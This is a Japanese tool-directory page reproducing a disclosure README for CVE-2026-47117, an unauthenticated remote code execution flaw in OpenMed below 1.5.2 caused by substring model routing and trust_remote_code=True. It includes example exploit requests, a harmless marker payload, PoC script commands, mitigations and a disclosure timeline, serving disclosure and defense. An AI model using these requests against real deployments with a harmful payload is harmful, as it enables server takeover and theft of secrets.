Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 における、PIIプライバシーフィルタモデルの読み込みと trust_remote_code=True による認証なしRCE | Kitploit
ツール/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストAIセキュリティ
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 における、PIIプライバシーフィルタモデルの読み込みと trust_remote_code=True による認証なしRCE

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
5日前未レビュー

CVE-2026-47117: PII モデルロードを介した OpenMed の未認証リモートコード実行

深刻度: Critical、CVSS 4.0 9.3、CVSS 3.1 9.8 (CNA である VulnCheck により割り当て)

ベクター (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

ベクター (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

影響を受けるバージョン: OpenMed < 1.5.2

修正バージョン: 1.5.2

CWE: CWE-94 (コード生成の制御が不適切、コードインジェクション)

報告者: Sai Teja Erukude

CNA: VulnCheck

公開日: 2026年6月2日


概要

1.5.2 より前の OpenMed には、PII プライバシーフィルタのモデルロード処理に未認証のリモートコード実行の脆弱性があります。

REST API エンドポイント POST /pii/extract および POST /pii/deidentify は、リクエストボディから model_name の値を受け入れます。脆弱なバージョンでは、プライバシーフィルタのディスパッチャが、この攻撃者が制御する値に対して広範な部分文字列マッチングを使用していました。そのため、attacker/foo-privacy-filter-bar のようなモデル名はプライバシーフィルタのバックエンドにルーティングされる可能性がありました。

MLX/Torch 以外のデプロイメントでは、このバックエンドは trust_remote_code=True を指定して Transformers 経由で Hugging Face のモデルアーティファクトをロードしていました。攻撃者が制御するモデルリポジトリに、config.json または tokenizer_config.json の auto_map を通じて参照されるカスタム Transformers コードが含まれている場合、Transformers はモデルまたはトークナイザのロード中にその Python コードをインポートして実行していました。

インポートされたコードは、OpenMed サービスプロセスの権限で実行されました。

影響

OpenMed REST API に到達可能な未認証のリモート攻撃者は、model_name に悪意のある Hugging Face 形式のモデル識別子を指定することで、サーバー上で任意の Python コードを実行できる可能性があります。

サービスのデプロイメントによっては、以下が可能になる可能性があります:

  • OpenMed プロセスからアクセス可能なファイルの読み取りまたは変更。
  • 環境変数およびアプリケーションのシークレットへのアクセス。
  • OpenMed ホストから到達可能な内部サービスへの呼び出し。
  • アプリケーションの動作の妨害または置き換え。

影響を受けるエンドポイント

この問題は、両方の PII エンドポイントが model_name を受け入れ、同じ PII 抽出/モデルロード処理を使用するため、どちらからでも到達可能です:

root@kitploit:~
POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
root@kitploit:~
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

技術的詳細

この脆弱な制御フローには、2つの信頼境界の失敗があります:

  1. API はプライバシーフィルタのバックエンドを選択する際に、ユーザー指定の model_name を信頼していました。
  2. 選択されたバックエンドは、trust_remote_code=True で Transformers アーティファクトをロードすることで、リモートのモデルリポジトリコードを信頼していました。

ディスパッチャは、privacy-filter を含むモデル識別子をすべてプライバシーフィルタファミリの一部として扱いました。これにより、例えば attacker/foo-privacy-filter-bar のような攻撃者が制御する識別子が、信頼されたファーストパーティの Privacy Filter モデルを対象としたコードパスに到達できるようになりました。

そこにルーティングされると、Transformers は auto_map を通じて攻撃者が制御するカスタムコードをロードできました。このインポートはモデル/トークナイザのロード中に発生し、有用な推論が成功する必要はありません。したがって、実証用ペイロードは以下のように小さくできます:

root@kitploit:~
from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

概念実証

poc_exploit.py は、名前に privacy-filter を含む無害なローカルの Hugging Face 形式モデルディレクトリを構築します。生成されたカスタム Transformers モジュールは、インポートされるとマーカーファイルを書き込みます。その後、スクリプトはそのディレクトリを model_name としてテスト用 OpenMed API インスタンスにリクエストを送信します。

脆弱な OpenMed バージョンでの期待される動作は次のとおりです:

  1. API が攻撃者が制御する model_name を受け入れる。
  2. 部分文字列ルーティングによりプライバシーフィルタのバックエンドに送信される。
  3. trust_remote_code=True のため、Transformers が生成されたカスタムモジュールをインポートする。
  4. マーカーファイルが作成され、OpenMed サービスプロセスでのコード実行が証明される。
  5. おもちゃのモデルは実際の Privacy Filter モデルではないため、その後リクエストは失敗する可能性がある。インポート時のマーカーが関連する証明となる。

ローカルのテストインスタンスに対してのみ実行してください:

root@kitploit:~
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

OpenMed サービスが、生成されたローカルディレクトリにアクセスできない場所で実行されている場合は、同等のテストモデルを管理下の Hugging Face リポジトリに公開し、その識別子を明示的に渡してください:

root@kitploit:~
python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

対策

OpenMed 1.5.2 以降にアップグレードしてください。

OpenMed 1.5.2 では、ルーティングと信頼が分離されています:

  • privacy-filter を含む任意のリポジトリ名は、もはや信頼されたプライバシーフィルタのパスを通ってルーティングされません。
  • PrivacyFilterTorchPipeline は trust_remote_code をデフォルトで False にします。
  • 信頼されたリモートコードロードが許可されるのは、明示的なファーストパーティの Privacy Filter リポジトリのみです。
  • 管理されたプライベートなファインチューニングが必要な運用者は、OPENMED_TRUSTED_REMOTE_CODE_MODELS でそれらを許可リストに登録できます。

直ちにアップグレードできない場合:

  • 脆弱な REST API を信頼できないクライアントに公開しないでください。
  • ユーザーが制御する model_name 値を trust_remote_code=True の Transformers に渡さないでください。
  • 部分文字列ベースのモデルルーティングを、正確な信頼済みモデル識別子に置き換えてください。
  • 本番環境では承認済みのローカルモデルアーティファクトをプリロードし、任意のモデルダウンロードを無効にしてください。

開示のタイムライン

クレジット

発見および報告者: Sai Teja Erukude。VulnCheck を通じて調整されました。

参考情報

  • CVE レコード: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • VulnCheck アドバイザリ: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • OpenMed 1.5.2 リリースノート: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • OpenMed プロジェクト: https://github.com/maziyarpanahi/openmed
ツールをダウンロード
日付イベント
2026年5月18日VulnCheck に脆弱性を提出
2026年5月20日VulnCheck が協調的開示の働きかけを開始
2026年5月22日CVE-2026-47117 を暫定的に割り当て
2026年6月1日OpenMed 1.5.2 の修正をレビューし確認
2026年6月2日CVE-2026-47117 を公開